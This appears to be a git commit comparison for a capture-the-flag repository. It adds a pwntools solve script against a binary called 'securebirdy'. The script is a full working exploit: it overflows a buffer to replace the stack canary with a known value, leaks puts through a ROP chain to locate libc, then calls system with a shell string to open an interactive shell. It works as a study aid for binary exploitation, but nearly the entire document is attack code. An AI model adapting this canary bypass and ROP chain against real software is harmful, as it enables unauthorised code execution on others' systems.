Compare commits

..

3 Commits

Author SHA1 Message Date
jc 7d901b7449 solve script 2024-10-24 21:04:05 +03:00
jc 14d5351f4b Merge remote-tracking branch 'refs/remotes/origin/main' 2024-10-24 21:02:36 +03:00
jc 9befef262f binary 2024-10-24 20:59:02 +03:00
2 changed files with 67 additions and 0 deletions
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./securebirdy", checksec=False)
r = process()
# funcs
s = lambda a: r.sendafter(b">> ", a)
ss = lambda a: r.sendlineafter(b">>> ", a)
sss = lambda a: r.sendafter(b">>> ", a)
# overwrite canary pointer
s(b"2")
ss(b"2147483648")
buf = b"A"*160
buf += p64(0x7fffff0000)
sss(buf)
s(b"1")
# new canary
canary = 0xffff0000400000
# gadgets
pop_rdi = 0x400ce3
# leak
buf = b"A"*144
buf += p64(canary)
buf += b"A"*(184-len(buf))
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.main)
s(b"2")
ss(b"2147483648")
sss(buf)
s(b"3")
r.recvuntil(b"OK\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: 0x%lx", puts)
libc = puts - 0x77640
log.info("libc: 0x%lx", libc)
sh = libc + 0x197e34
# overwrite canary pointer
s(b"2")
ss(b"2147483648")
buf = b"A"*160
buf += p64(0x7fffff0000)
sss(buf)
s(b"1")
# pop
buf = b"A"*144
buf += p64(canary)
buf += b"A"*(184-len(buf))
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(target.sym.system)
s(b"2")
ss(b"2147483648")
sss(buf)
s(b"3")
r.interactive()
Binary file not shown.